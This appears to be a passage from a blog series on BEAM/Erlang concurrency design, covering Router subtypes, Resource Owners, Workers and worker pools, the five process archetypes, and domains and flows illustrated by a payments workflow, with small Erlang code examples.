If a process starts “helping out,” it is no longer (just) a Router. It is not necessarily always bad, but it makes it harder to reason about the system.

Router Subtypes

These are the Router types you actually see in real systems. They fit the archetype precisely and avoid stepping into Gatekeeper or Observer responsibilities.

1. Broadcaster: Fan Out

One message comes in. Many messages go out.

handle_info({broadcast, Msg}, State) ->
    [Pid ! Msg || Pid <- State#state.subscribers],
    {noreply, State}.

Used for:

pub/sub
cache invalidations
event fan-out

No filtering. No rate control. No state. Pure fan-out.

2. Director: Route to the Right Process

The classic Router. Looks at metadata, picks exactly one target.

handle_info({msg, UserId, Data}, State) ->
    Pid = maps:get(UserId, State#state.sessions),
    Pid ! Data,
    {noreply, State}.

Used for:

user/session routing
mapping logical IDs to processes
request dispatch inside a system

Directors are the backbone of large BEAM systems.

3. Load Balancer and Worker Pools

A load balancer is a Router that picks one worker out of many using a simple, predictable strategy:

round-robin
hash-based
random
“lowest mailbox length”

Routers can keep lightweight routing metadata (like a counter for round-robin), but nothing domain-specific or persistent. The job is routing, not state.

This is exactly what the process in front of a worker pool does. The pool manager in poolboy and similar libraries is a Router:

it receives a job
picks a worker
forwards the job
and stops there

The workers behind the pool may also act as Resource Owners if they hold long-lived resources (like a DB connection), but that does not change the Router’s role. It is still just forwarding messages.

The key property remains: the Router does not apply backpressure or enforce limits. If it starts doing that, it is no longer (just) a Router, it has become a Gatekeeper.

4. Demultiplexer (Message Splitter)

Split one inbound stream into several logical channels based on message shape.

Example:

case Event of
    {audit, D}      -> AuditPid ! D;
    {analytics, D}  -> AnalyticsPid ! D;
    {telemetry, D}  -> TelemetryPid ! D
end.

Used for:

separating analytics from real-time paths
multi-purpose message streams
protocol front-ends

Demuxing is classification only.

5. Multiplexer (Message Merger)

A Multiplexer is the reverse of a Demultiplexer: many inbound streams, one unified forward path. It simply forwards messages from several sources into a single output channel.

Used for:

bridging legacy single-threaded systems
merging updates from several producers
simplifying downstream processing

Pure multiplexing is still just forwarding. No buffering. No priority. No state.

When Multiplexers Drift Into State

Sometimes you want more than merging. For example:

you need ordering across streams
or you need to batch or aggregate messages before sending them downstream
or you need to emit one combined payload (e.g. a JSON array or binary packet)
or you need to coordinate replies from multiple workers before acting

The moment you introduce:

buffering
collecting
waiting for multiple sources
sequencing
assembling a single final result

…you are no longer implementing a Router.

You have quietly moved into Resource Owner (state + transformation) or Gatekeeper territory (sequencing, synchronization).

That isn’t wrong, but it is a different archetype.

A Router does not shape when messages flow or how many messages become one. It only shapes where messages flow.

6. Protocol Router

Routes based on protocol, after the smallest possible decoding step.

Used for:

TCP front-ends handling several protocols
gateways
hybrid endpoints (WebSocket + HTTP + JSON-RPC)

A Protocol Router chooses handlers based on shape, not behaviour. If it enforces rules or validates messages, it becomes a Gatekeeper.

Here is a minimal, slightly contrived example:

%% protocol_router.erl

handle_info({tcp, Sock, Bin}, State) ->
    case decode(Bin) of
        {http, ReqBin} ->
            State#state.http_handler ! {Sock, ReqBin};

        {jsonrpc, JsonBin} ->
            State#state.jsonrpc_handler ! {Sock, JsonBin};

        {websocket, FrameBin} ->
            State#state.ws_handler ! {Sock, FrameBin};

        _Other ->
            %% Unknown protocol: hand off to a generic handler
            State#state.fallback_handler ! {Sock, Bin}
    end,
    inet:setopts(Sock, [{active, once}]),
    {noreply, State}.

The decode/1 function does only the bare minimum required to classify the message:

decode(<< "{", _/binary >> = Bin) ->
    {jsonrpc, Bin};

decode(<<"GET ", _/binary>> = Bin) ->
    {http, Bin};

decode(<<0x81, _/binary>> = Bin) ->
    {websocket, Bin};

decode(Bin) ->
    {unknown, Bin}.

Key points

The Router reads bytes from the socket.
Performs a minimal test to classify the protocol, not a full parse.
Forwards the original payload to the appropriate handler.
Does not enforce sequencing, limits, authentication, or retries.
Keeps no state beyond handler PIDs.

A note of caution

In a real system, you probably do not want to parse the payload inside the Router. Parsing large JSON or WebSocket frames in the Router turns it into a bottleneck, or a denial-of-service surface. A flood of oversized JSON messages can stall the Router, preventing it from classifying the next packet.

As Richard Carlsson pointed out in a review of this post:

A Protocol Router should avoid parsing payloads. It should classify quickly and forward immediately. Let the handler process deal with parsing and errors.

7. Shard Router

A particular instance of a Director with predictable routing based on key hashing.

Shard = erlang:phash2(Key, NumShards),
lists:nth(Shard, ShardPids) ! Msg.

Used for:

per-user or per-account isolation
scalable ledger domains
consistent partitioning

Shard Routers create isolation boundaries, not ordering guarantees.

Summary

Routers keep the village moving. They don’t decide when messages should flow, or how fast, or what happens if something goes wrong. They only decide where messages go.

Keeping Routers simple makes debugging obvious and system behaviour predictable. If you give a Router too much responsibility, it stops being a Router.

Next up: Gatekeepers, the archetype that actually cares about flow, limits, and containment. They do the work Routers deliberately refuse to do.

Resource Owners: One Process, One Piece of State

2025-11-24T00:00:00Z

The Gnome Who Guards the Chest of Gold

In the gnome village, not every gnome runs around performing tasks. Some stay in one place, holding on to something important. A chest of gold. A ledger. A cart. A user session. They don't roam, they don't multitask, and they are not easily distracted. They are predictable by design.

Everything that touches that piece of state goes through this gnome. No exceptions. No secret shortcuts. No shared cupboards where anyone can slip in and "just update one field".

The Resource Owner archetype is simple: one process owns one thing.

Everyone else sends requests. The Resource Owner decides what happens. It enforces the rules, updates the state, and ensures that invariants stay invariant. If two other gnomes want to withdraw from the same chest of gold at the same time, this gnome decides the order. There are no races, only queues.

A Resource Owner doesn't need locks, because no one else is allowed to touch the chest. It doesn't need coordination protocols, because the mailbox does the serialization.

You can send as many messages as you want. The Resource Owner handles them one at a time. It is boring, reliable, and honest work. In other words: the foundation of most good systems.

Workers run around doing tasks. Resource Owners sit still and make sure those tasks don't break anything.

If you've ever wondered why BEAM systems behave sensibly under concurrency pressure, this is the reason. There is always a gnome with the key to the chest, and everyone in the village respects that arrangement.

What Exactly Is a Resource Owner?

A Resource Owner is the simplest idea that people consistently overcomplicate.

It is a process whose entire job is to own one piece of state. All interaction with that state happens through the process.

Because the Resource Owner has a mailbox, it automatically serializes access. Two concurrent updates become a queue, not a race. The process handles one message at a time, in order, and applies the change cleanly.

OTP encourages you to write these as a gen_server. For very simple owners you don't have to. A simple receive loop works just as well. The behaviour module is convenience, not magic.

For anything more complex, a gen_server gives you a lot for free: code upgrades, casts and calls, and a familiar interface.

A Resource Owner is not a Worker. Workers do things: calculations, I/O, external calls. Resource Owners protect things: the chest of gold, the cart, the payment intent, the ledger entry.

If a Worker needs to modify a resource, it does not touch the state itself. It sends a message to the Resource Owner. The Worker may be short-lived. The Resource Owner is the stable part of the system.

A Minimal Example

Here is the smallest useful Resource Owner: a process that owns a counter.

-module(counter_owner).
-export([start_link/0, increment/1, value/1]).

start_link() ->
    spawn_link(fun() -> loop(0) end).

increment(Counter) ->
    Counter ! {self(), increment},
    receive
        {Counter, Reply} -> Reply
    end.

value(Counter) ->
    Counter ! {self(), get},
    receive
        {Counter, V} -> V
    end.

loop(State) ->
    receive
        {From, increment} ->
            New = State + 1,
            From ! {self(), ok},
            loop(New);

        {From, get} ->
            From ! {self(), State},
            loop(State)
    end.

This tiny process gives you:

One owner of one integer.
Serialized access without locks.
Predictable updates.
No race conditions.

Ten, a hundred, or a thousand increments can arrive concurrently. They all go through the same process. The mailbox turns concurrency into a queue.

This is the smallest form of a Resource Owner. The larger forms follow the same principle, just with more interesting state.

Resource Owners come in two flavours. The first group are Entity Owners. The second are Aggregators.

Entity Owners

Entity Owners represent logical domain state. They are the small, polite gnomes guarding individual pieces of your system's model:

a socket or DB connection
a shopping cart or user session
an order or payment intent
a chat room or game entity

If you can point at it in your domain and say "this thing has identity and state," it can probably be represented as an Entity Owner.

These processes are:

Long-lived and tied to an ID
Started when needed, shut down when finished
The single authority on the rules of that entity (for example, "a balance must not go negative")
A natural fit for the BEAM, because the mailbox gives you serialization without locks, and the process gives you isolation without drama

A Shopping Cart Owner

Here is a simple cart owner. It holds items, enforces quantity rules, and exposes the current state on request. The API uses the cart ID directly, so callers don't need to track PIDs. One process per cart ID. If you know the ID, you know the owner.

-module(cart_owner).
-behaviour(gen_server).

-record(state, {id, items = #{}}).

-export([start_link/1, add_item/3, get_items/1]).
-export([init/1, handle_call/3, handle_cast/2]).

start_link(CartId) ->
    gen_server:start_link({local, {cart, CartId}},
                          ?MODULE, CartId, []).

add_item(CartId, ItemId, Qty) when Qty > 0 ->
    gen_server:call({cart, CartId}, {add, ItemId, Qty}).

get_items(CartId) ->
    gen_server:call({cart, CartId}, get_items).

init(CartId) ->
    {ok, #state{id = CartId}}.

handle_call({add, ItemId, Qty}, _From,
            #state{items = Items} = St) ->
    Current = maps:get(ItemId, Items, 0),
    NewItems = Items#{ItemId => Current + Qty},
    {reply, ok, St#state{items = NewItems}};

handle_call(get_items, _From,
            #state{items = Items} = St) ->
    {reply, Items, St}.

handle_cast(_Msg, St) ->
    {noreply, St}.

In real systems you would probably use a process registry (gproc, pg, or a via callback) instead of {local, ...}, but this is enough to show the idea.

Two concurrent "add item" requests arrive for the same cart. The mailbox queues them. The first completes, updates the map, and replies. The second sees the updated state and proceeds. No locks, no retries. Just order.

This is why Entity Owners feel like cheating when you first encounter them. You stop writing defensive code and start writing real logic.

Lifecycle

Entity Owners are not global daemons. They exist only when needed.

When the first request comes in, a supervisor starts the process.
When the entity is complete, idle, or expired, it shuts down.
If the process crashes, supervision restarts it, either fresh or from persisted state.
Because its state is isolated, a crash only affects that one entity.

This is the kind of failure you want in production: local, predictable, and obvious.

Pitfalls

Entity Owners are simple. People make them complicated. Here are the usual ways:

The God Entity. One process ends up owning far too much: user profile, cart, settings, metrics, half the application. This becomes a serialization bottleneck. Also: painful to debug.

A backpack full of boulders. The process holds megabytes of state: giant maps, binary blobs, or entire chat histories. Result: GC pauses, high memory usage, and slow everything. Move big state to ETS or external storage.

Doing I/O inside the entity. The process starts calling remote APIs, writing to disk, or running SQL queries. This blocks the mailbox, inflates response times, and converts a clean design into a subtle disaster.

The fix is always the same: Entity Owners guard state. Workers do work. Keep them separate.

Entities with Lifecycles

Some entities have a clear lifecycle: created, authorized, captured, cancelled. For those, gen_statem is often a better fit than gen_server. The Resource Owner idea is the same (one process owns the intent) but the behaviour makes state transitions explicit. I will cover that pattern in a later post.

Aggregators

Aggregators hold a derived or accumulated state, not a domain entity.

Examples:

metrics collector
sliding window counters
real-time rollups (moving averages, sensor data)
batch builders
log aggregators before flushing to storage

Properties:

Often time-based, window-based, or count-based.
State is constantly updated.
Output is periodic or triggered.
Often respond to queries for current aggregated status.

A Simple Metrics Owner

-module(metrics_owner).
-behaviour(gen_server).

-record(state, {count = 0, sum = 0}).

-export([start_link/0, record/1, get_mean/0]).
-export([init/1, handle_call/3, handle_cast/2]).

start_link() ->
    gen_server:start_link({local, ?MODULE}, ?MODULE, [], []).

record(Value) ->
    gen_server:cast(?MODULE, {record, Value}).

get_mean() ->
    gen_server:call(?MODULE, get_mean).

init([]) ->
    {ok, #state{}}.

handle_cast({record, Value}, #state{count = C, sum = S} = St) ->
    {noreply, St#state{count = C + 1, sum = S + Value}};

handle_cast(_Msg, St) ->
    {noreply, St}.

handle_call(get_mean, _From, #state{count = 0} = St) ->
    {reply, undefined, St};

handle_call(get_mean, _From, #state{count = C, sum = S} = St) ->
    {reply, S / C, St}.

Callers send latency values with record/1. The owner accumulates count and sum. Anyone can ask for the current mean. The state stays bounded, the interface stays simple. In real code you would want a better return type than undefined, but you get the idea.

Pitfalls for Aggregators

Unbounded state growth. Sliding windows need pruning. Batch builders need flush triggers.
Holding giant binaries. If you keep references to large binaries, the BEAM cannot reclaim them. Copy what you need.
Mixing aggregation with heavy computation. Keep the owner thin. Offload expensive work to Workers.

Pooled Resources

A pooled "Worker" holding a DB connection, socket, or crypto context is actually a Resource Owner. It holds state (the connection), but it behaves like a Worker while serving a request. The pool provides concurrency control; the process provides state semantics.

This is one of the few legitimate role combinations. Keep the pooled process thin. If it starts doing heavy logic, split it: one process owns the connection, another does the work.

Summary

Resource Owners give you correctness by construction.

Entity Owners: one process per domain entity.
Aggregators: one process per rolling or accumulated state.
Pooled resources: a valid hybrid, but keep them thin.

Prefer simple ownership over shared state or locking systems. The mailbox is your serialization primitive. Use it.

Workers: Do One Job, Then Get Out of the Way

2025-11-22T00:00:00Z

In the gnome village, a Worker is the simplest citizen you can have.

You give it a task.

It does the task.
It reports back.
It disappears.

That is the whole contract.

On the BEAM, this maps directly to one of the most useful patterns you can have: spawn a process per unit of work. You get isolation, concurrency, and fault containment almost for free. When that is not enough, you add a pool.

This post is about Workers as a process archetype: how they behave, when to use them, when to pool them, and when you’re just building your own problem factory.

Short-Lived Workers: the default

The simplest Worker is a short-lived process:

do(Input) ->
  Caller = self(),
  Ref = make_ref(),
  Worker = spawn(fun() ->
                   Result = do_one_job(Input),
                   Caller ! {self(), Ref, Result}
                end),
  receive
    {Worker, Ref, Result} -> Result
    after 5000 -> exit({timeout, Worker, Input})
  end.

It has no history. No future. No shared state. It exists purely to handle one piece of work and then die.

This works extremely well for:

Sending emails.
Writing audit logs.
Calling external APIs.
Performing background calculations.

You could create a worker template:

worker_do(Fun, Input, Timeout) ->
  Caller = self(),
  Ref = make_ref(),
  Worker = spawn(fun() ->
                   Result = Fun(Input),
                   Caller ! {self(), Ref, Result}
                end),
  receive
    {Worker, Ref, Result} -> Result
    after Timeout -> log({timeout, Worker, Input})
  end.

If the Worker crashes, only that one job is affected. The caller can in turn time out, retry, or as in the example log a failure. No other state is corrupted. The village shrugs and hires another gnome.

In this version you don’t see the crash reason unless you log it somewhere else.

Now a linked version, where the default behaviour is:

“If the worker dies, I die too.”

This is the pure YBYOYR flavour: if the worker blows up, the caller is probably in a bad state as well.

worker_do_link_or_crash(Fun, Input, Timeout) ->
    Caller = self(),
    Ref = make_ref(),
    Worker = spawn_link(fun() ->
        Result = Fun(Input),
        Caller ! {self(), Ref, Result}
    end),
    receive
        {Worker, Ref, Result} ->
            Result
    after Timeout ->
            exit({timeout, Worker, Input})
    end.

Here:

If Fun(Input) raises an exception, the Worker exits abnormally.
Because of spawn_link/1, the caller gets an 'EXIT' signal and dies too.
You either get a Result or your process crashes and lets a supervisor deal with it.

This is the simplest linked worker: either success or crash. No middle ground.

Handling worker crashes without dying

If you want to catch worker failures without linking lifetimes and without turning your process into an accidental supervisor, use spawn_monitor. It gives you a 'DOWN' message on crash, and it never kills the caller.

worker_do_monitor(Fun, Input, Timeout) ->
    Caller = self(),
    {Worker, MonRef} =
        spawn_monitor(fun() ->
            Result = Fun(Input),
            Caller ! {self(), {ok, Result}}
        end),
    receive
        {Worker, {ok, Result}} ->
            {ok, Result};
        {'DOWN', MonRef, process, Worker, Reason} ->
            {error, {worker_crashed, Reason}}
    after Timeout ->
            {error, {timeout, Worker, Input}}
    end.

Notes:

On success we get {ok, Result} directly from the worker.
If the worker crashes we receive a 'DOWN' message with the reason.
On timeout we return {error, {timeout, Worker, Input}}.

spawn_monitor is a good default when you want robust workers but don’t want to tie your fate to theirs. It gives you explicit crash information without the subtle semantics of links or the global side-effects of trap_exit.

In many cases, this is the simplest and safest synchronous worker pattern to drop into production.

Asynchronous workers: fire-and-forget + async/await

Next step: separate starting the worker from waiting for the result.

Fire and forget

The most basic async worker:

fire_and_forget(Fun, Input) ->
    _Pid = spawn(fun() -> Fun(Input) end),
    ok.

You don’t know if it succeeds. You don’t know when. Sometimes that is fine (e.g. “best-effort” metrics, logging to a third-party system). Often it’s not.

Async handle: start now, await later

Better: return a handle {Pid, Ref} and let the caller decide when (or if) to wait.

worker_async_start(Fun, Input) ->
    Caller = self(),
    Ref = make_ref(),
    Pid = spawn(fun() ->
        Result = Fun(Input),
        Caller ! {self(), Ref, {ok, Result}}
    end),
    {Pid, Ref}.

To wait for it:

worker_async_await({Pid, Ref}, Timeout) ->
    receive
        {Pid, Ref, {ok, Result}} ->
            {ok, Result}
    after Timeout ->
            {error, {timeout, Pid}}
    end.

This gives you:

A non-blocking call to start work.
A separate blocking call to await, with its own timeout.
Freedom to stash the handle in state, pass it to another process, or ignore it.

You can obviously extend this to handle crashes by using spawn_monitor/1 instead of spawn/1 and handling 'DOWN' messages, but that’s the same pattern with one extra branch.

Parallelism: workers as fan-out/fan-in

Now the fun part: use Workers to process parts of a problem in parallel.

Imagine a simple pmap/2 (parallel map):

pmap(Fun, List) ->
    Caller = self(),
    % Start one worker per item
    Pids = [spawn(fun() ->
                      Result = Fun(X),
                      Caller ! {self(), Result}
                  end)
            || X <- List],
    collect_results(Pids, []).

collect_results/2 can be:

collect_results([], Acc) ->
    lists:reverse(Acc);
collect_results([Pid | Rest], Acc) ->
    receive
        {Pid, Result} ->
            collect_results(Rest, [Result | Acc])
    after 5000 ->
            exit({timeout_waiting_for, Pid})
    end.

Properties:

One worker per element.
Each worker replies with {Pid, Result}.
Results are collected in the same order as the original list, because we walk the Pids list in order.
If the worker for a given Pid is slow or stuck, we block there and earlier results from other workers will sit in the mailbox until we get to their PID. That’s intentional: we are enforcing ordered results.

You’ve just implemented:

Fan-out: spawn a Worker per “chunk”.
Fan-in: collect results by Pid.
Clear fault model: each Worker is semi independent; one crash doesn’t poison others, but we lose the result.

You can refine this:

Ignore timed-out results, and later drain the mailbox to get rid of late replies.
Ignore the result entirely if the only thing you care about is the side effect (for example, sending an email).
Chunk the list (e.g. 100 items per Worker) if the list is huge.
Use a fixed-size pool instead of unbounded spawns if external resources are involved. We will look at pooled workers soon.
Use spawn_link or spawn_monitor for stricter crash semantics and better visibility into failures.

Short-lived Workers align perfectly with the BEAM’s strengths. Processes are cheap to spawn and cheap to terminate. The scheduler is designed for this. Concurrency is the default setting, not something you have to fight for.

The main way to misuse short-lived Workers is to spawn them without any thought of rate. If every incoming HTTP request spawns ten internal Workers that talk to five different external services, you now have a fan-out explosion and a new surprise: your outbound traffic graph.

Workers are cheap. External systems are not.

When a Worker Becomes a Pool Member

Sometimes “spawn as many as you like” is not the right choice. You may have:

A database that only handles 50 concurrent connections without melting.
An external API with strict rate limits.
A crypto context or GPU handle that is too expensive to recreate for every job.

In these cases you want many callers, but only a controlled number of Workers running at the same time.

That is all a Worker pool is.

The BEAM ecosystem has several reliable implementations:

poolboy: the classic Erlang pool, battle-tested for a decade.
pooler and poolgirl: Erlang alternatives with different trade-offs.
Poolex, worker_pool, and others on the Elixir side.

All of them follow the same idea:

You have a fixed number of Workers, and callers borrow one Worker at a time to perform a job.

A poolboy-style call looks like this:

poolboy:transaction(MyPool, fun(WorkerPid) ->
    gen_server:call(WorkerPid, {do, Job})
end).

Callers never talk to the Worker directly. They talk to the pool, and the pool manages who gets to run work next.

The reason for this setup is simple: limit concurrency around a scarce resource.

The Worker archetype stays the same. It still does one job at a time. The only difference is that some Workers are now part of a coordinated “team” rather than being spawned freely.

If the Worker crashes while doing a job, supervision restarts it and the Worker returns to the pool. The pool continues to behave exactly the same, which is why people like it.

A Note About Hybrids (But We’re Not Going There Yet)

Sometimes a pooled Worker also holds a long-lived resource (like a DB connection). That means it is also a kind of Resource Owner.

This is one of the few valid cases where an archetype can be “mixed”, and we’ll talk about it later when we get to resource owners.

For now, keep Worker pools conceptually simple:

They exist to limit concurrency. All the Worker does is: one job at a time.

We’ll revisit the “Workers that hold state” pattern in the upcoming Resource Owner post.

When not to pool Workers

People see Worker pools and get excited. They then start pooling everything.

Do not pool CPU-bound Workers that use only local state. The BEAM is already a giant dynamic pool with preemptive scheduling and excellent fairness. Adding a pool on top usually adds serialization and queueing where you don’t need it.

A few simple rules:

If the Worker only touches local memory and pure CPU, you probably do not need a pool. Just spawn as needed.
If the Worker wraps a scarce external resource (DB connection, API client, file descriptor), a pool is probably a good idea.
If you have a performance problem and your first instinct is “add a pool”, check your external dependencies and message rates first.

A Worker pool is not a performance tool. It is a safety tool to avoid exhausting external resources. If you turn it into a global throttle for all work, you will get exactly that: a global throttle.

Routing versus checkout pools

There are two broad ways to structure pooled Workers.

Checkout pools are what poolboy does. Callers ask the pool for a Worker, use it, and return it when done. This makes sense for blocking flows with exclusive use of a resource, like a DB connection.

Routing pools are different. Callers never see individual Workers. They send messages to a Router, which distributes work across Workers. Andrea Leopardi’s post on process pools with Elixir’s Registry is a good example of this style. "Process pools with Elixir's Registry"

For the Worker archetype, both styles are still Workers:

In a checkout pool, the Worker is checked out, does one job, returns to idle.
In a routing pool, the Worker receives jobs via messages, does one at a time, and stays alive.

The choice is about how callers coordinate, not about what the Worker is.

Failure: cheap and local

A short-lived Worker that crashes is easy to reason about. You get:

One failed job.
A stacktrace.
No lingering state.

A pooled Worker that crashes is also manageable, as long as supervision is correct. A Supervisor can restart the Worker with a fresh connection. The pool continues to function.

The problems start when you accidentally promote the Worker into a God process:

It now keeps global state.
It routes messages.
It logs.
It supervises others.

At that point, when it crashes, your system has an existential crisis instead of a minor incident.

A Worker should never supervise, route, or own global state. It should work.

How this maps to Java’s new toys

Java has finally discovered that threads don’t need to weigh as much as small cars. With Project Loom and structured concurrency you now get virtual threads and task scopes: lighter, cheaper, and with a lifespan you can reason about. On a good day they even feel a little like BEAM processes.

It’s tempting to say: “Ah, Java threads have become Erlang processes.”

They haven’t. They’ve just stopped being quite as heavy.

A few reminders:

Virtual threads still share mutable state unless you fight very hard not to.
Failure propagation and restart strategies are still something you build yourself. (In Erlang the supervisor is a library too, but the primitives it relies on, links, monitors, exit signals, are baked into the VM.)
There is no mailbox. If you want asynchronous message passing, you assemble it from queues and hope for the best.

So yes, you can implement the Worker archetype in Java now without hurting yourself. But you must decide to structure it that way.

On the BEAM, you must work equally hard to avoid doing it that way.

About naming Workers

OTP 27 added something useful: process labels via proc_lib:set_label/1. This lets you attach a descriptive term to any process that does not have a registered name. Tools like c:i/0, observer, and crash reports can show this label.

So you can think of it this way:

Registered name: a real name used for lookup and messaging (register(Name, Pid)).
Label: a descriptive tag for humans and tools; not used for routing or lookup.

For Workers, this means:

You still normally don’t give them global names.
When you do want visibility in tools, add a label, not a global name.
Pooled Workers are typically anonymous processes with labels and are discovered through the pool, not directly.

Takeaways

A Worker is the simplest and most honest process archetype:

Short-lived Workers: one job, then exit.
Pooled Workers: one job at a time, reuse scarce resources.
No routing. No supervision. No global state.

The BEAM makes this style of concurrency both natural and cheap. External systems do not.

In following posts, we will look at the other villagers: Resource owners, Routers, Gatekeepers, and Observers. Together they give you enough vocabulary to design systems with many processes that still behave like adults.

One archetype per role. One role per process. Sleep improves dramatically after that.

Process Archetypes: The Roles in the Gnome Village

2025-11-21T00:00:00Z

Process Archetypes: The Roles in the Gnome Village

The BEAM makes it easy to create thousands of processes. This is powerful, but only if you give each process a clear role. A process without a role becomes a small, confused god-object with a mailbox. Eventually it grows a personality disorder.

To avoid this fate, I use a simple model of five archetypes. Every process in a BEAM system fits one of them. If it doesn’t, it is probably doing too much.

The archetypes are not design patterns. They are behavioural roles. Think of them as job descriptions for the gnomes in the village. (I first outlined these categories in Designing Concurrent Systems on the BEAM; this series goes deeper.)

The roles are simple: Workers do work. Resource owners keep state. Routers decide. Gatekeepers protect. Observers watch. That is the entire system. You can stop reading now.

Workers

A Worker handles exactly one task. It does the job, reports back, and disappears. The disappearing part is important. It keeps the world tidy.

Workers are the default choice when you need parallelism or simple isolation. Spawn one, give it a message, and let it finish. If it crashes, only one piece of work is lost. That is usually acceptable. If it isn’t, the Worker should not be doing that job.

Some Workers live in pools. These Workers might keep some configuration between jobs. They still perform one job at a time, but they do not vanish afterwards. They sit quietly until needed again. This is the polite version of a thread-pool, without the traditional thread-pool problems.

Workers embody the BEAM’s idea of cheap concurrency. You hire many, pay them little, and expect them to fail occasionally.

Resource Owners

A Resource Owner does one thing: it owns state. A cart, a user session, a WebSocket, a payment intent. Anything that needs a clear owner becomes a process.

A Resource Owner serializes access by receiving one message at a time. There are no locks, no strategies, and no passive-aggressive comments in code reviews about “thread safety”. A Resource Owner is always thread-safe, because it is the thread.

Aggregators are a subtype. They collect rolling data or maintain sliding windows. Same principle, but more numbers.

If the system relies on invariants, the Resource Owner is where those invariants live. You do not put them in five layers of frameworks. You put them in a process that owns the data. It is the simplest possible model, which is why it works.

Routers

A Router never owns anything. It reads a message and forwards it to the correct place. That is all.

Sometimes the Router fans messages out (broadcaster). Sometimes it sends them to a single target (director). In both cases it has no state and no emotional attachments. A Router that remembers things, other than where to send messages, has abandoned its post.

Routers keep the architecture clean. If a Router becomes complicated, the system design is wrong. If a Router starts holding state, the system design is very wrong. This is usually how accidental bottlenecks begin.

Gatekeepers

A Gatekeeper protects something. It limits, delays, sequences, or blocks. It exists because the outside world cannot be trusted.

There are three common types:

Flow controllers enforce ordering or stage boundaries. Rate limiters slow the producers down so you don’t melt your downstream systems. Circuit breakers give up early when something is clearly on fire.

The Gatekeeper role is simple: let good messages through, keep bad messages out, and contain the blast radius. Without Gatekeepers, a small outage becomes a distributed festival of sadness.

Observers

Observers do not own state and do not do work. They watch other processes and respond to conditions.

Sentinels watch for overload, timeouts, and stalled flows. Supervisors watch for death, restart children, and otherwise mind their own business.

Supervisors are the managers of the village. They never bake bread or carry logs. They only decide who should be restarted and when. A Supervisor that does real work is a future incident waiting to happen.

Observers tie the system together without touching the logic.

Why Roles Matter

Most problems in process-oriented systems come from role confusion. A Resource Owner that tries to route requests becomes a bottleneck. A Router that stores state becomes a single point of failure. A Worker that lives too long becomes a Resource Owner by accident. A Supervisor that does real work becomes your next 3 AM story.

Clear roles reduce cognitive load. They make supervision trees predictable. They make debugging obvious. When each process has one job, everything is easier to trace, reason about, and restart.

Good systems are built from small pieces with strong opinions about what they do.

Looking Ahead

This post introduced the five archetypes. Next, I will walk through each role in detail, with examples and the small mistakes that make big problems.

To make this practical, I’ll also publish a set of minimal examples in Erlang, Elixir, and a few other languages. The BEAM versions will be small. The non-BEAM versions will demonstrate why the BEAM versions are small.

One archetype per post. One job per process. Life is easier that way.

Gnomes, Domains, and Flows: Putting It Together

2025-11-12T00:00:00Z

Glossary: Resource owner = the process that owns mutable state for a domain object. Request owner = the process coordinating one user request end-to-end within a domain. Adapter = the boundary process that talks to an external system. Orchestration = the domain that coordinates multi-step work across other domains.

Recap the ingredients

Domains keep code and data in their lanes. Flows choreograph how work crosses those lanes. Processes stay light: they read scrolls from the right domain, follow the flow contracts, and let supervisors restart them when needed. The easiest way to validate the frame is to walk through one production path and make sure every element has a deliberate owner.

The picture is simple: every box is its own OTP application with a supervision tree. The API validates, orchestration coordinates, the ledger owns truth, and adapters isolate external chaos.

PSP = payment service provider (card processor). The adapter isolates that boundary so the rest of the system never sees its quirks.

Payments path walkthrough

Consider a simple “authorize card, log ledger entry, notify customer” workflow.

Call flow: The API domain receives an HTTPS call. It runs synchronous validation, enforces a 200 ms budget, and passes a traced request into the orchestration domain.
Message flow: The orchestrator sends commands to the payments domain (“authorize”), the ledger domain (“append entry”), and the notifications domain (“send receipt”). Each message carries a trace_id, versioned payload, and retries with idempotency keys.
Data flow: The payments domain owns card tokens and risk data; it emits an authorization fact when done. The ledger domain owns balances and journal entries; it exposes append-only writes. Notifications subscribe to the authorization fact and the ledger entry, derive their own view, and never peek into foreign ETS tables.
Process flow: Each domain runs inside its own supervision tree. The payments domain spawns a per-authorization worker supervised one_for_one. The ledger domain keeps long-lived resource owners guarded by a rest_for_one tree. Notifications use a pool of short-lived workers. If the PSP adapter dies, only its tree restarts; the ledger keeps writing.

Every arrow on the whiteboard now has a name. When something breaks, you know whether it is a data-contract issue, a message protocol bug, a process-topology failure, or a call-budget miss. Compliance questions (“who touched the ledger?”) get answered by pointing to the domain module and its audit log. Operational questions (“why did latency spike?”) use the same flow instrumentation you designed earlier. The orchestrator’s outbox ties database writes and message dispatch together, while the ledger enforces idempotency on the tuple {account_id, idem_key} so replays never duplicate money.

Logging and tracing at the boundaries

Every domain boundary is also a logging boundary. When the API domain hands control to the payments domain, log the intent, the trace identifier, and the schema version that crossed the line. When the payments domain emits an authorization event, append the fact to its domain log with the same trace_id. The ledger domain writes its own append-only audit trail when balances change. That gives regulators exactly what they ask for: who touched the data, when, and through which contract.

For cross-domain flows, propagate trace_id and span_id through OpenTelemetry (or the tracing stack you already run). Each message send, process spawn, and reply records the context so you can reconstruct the path end to end. Mailbox metrics tell you if a process is drowning; traces tell you which hop stalled. When every domain owns its logging and every flow forwards its trace context, observability stops being a bolt-on and becomes part of the boundary contract.

Use spans api.receive → orchestrate.authorize → psp.call → ledger.append → notify.send. Log schema_version and idem_key at each hop. If a message replays, the trace shows it, and idempotency plus the shared #msg_meta{} header keep state clean.

Checklist before you ship

Domain map: Draw boxes for each domain, list the data they own, and the modules/OTP apps that implement them.
Flow contracts: For every boundary, document the data schema, message protocol, supervising tree, and call budget.
Observability hooks: Ensure trace IDs, mailbox metrics, schema registries, and breaker dashboards are wired to the flow they observe.
Failure drills: Kill a payments worker, a ledger supervisor, and a notification queue. Each failure should stay inside its domain boundary while the flow recovers.
Outbox pause test: Stop the orchestrator’s outbox process and prove that no dual-write happens; once it restarts, pending messages drain exactly once.

What’s next

If you skipped ahead, start with Gnomes, Domains, and Flows, then read Domains Own Code and Data and Flows Keep Work Moving.

Next up we will focus on the process archetypes: workers, resource owners, routers, gatekeepers, observers, and show how they sit inside these flows.

Prev: Flows Keep Work Moving | Next: Process Archetypes

Flows Keep Work Moving

2025-11-12T00:00:00Z

Flow primer: four ways things move

When you think in processes, a system splits into domains that own resources and flows that move work. A flow tells you how facts, intents, and control cross a domain boundary. Four flows cover day-to-day design: data flow, message flow, process flow, and call flow.

The same topology looks different depending on which flow you inspect. Call flow covers the synchronous reply path, message flow covers the async fan-out, data flow tracks typed payloads, and process flow explains who runs each step.

Data flow

Data flow answers “what moves.”

It describes the schema and lineage of facts as they travel through the system. Define which domain publishes which fact, how versions evolve, where you materialize views, and how you replay history if something breaks. At the boundary, the producing domain publishes only the data it owns; the consuming domain derives its own model instead of poking at another domain’s private state.

Message flow

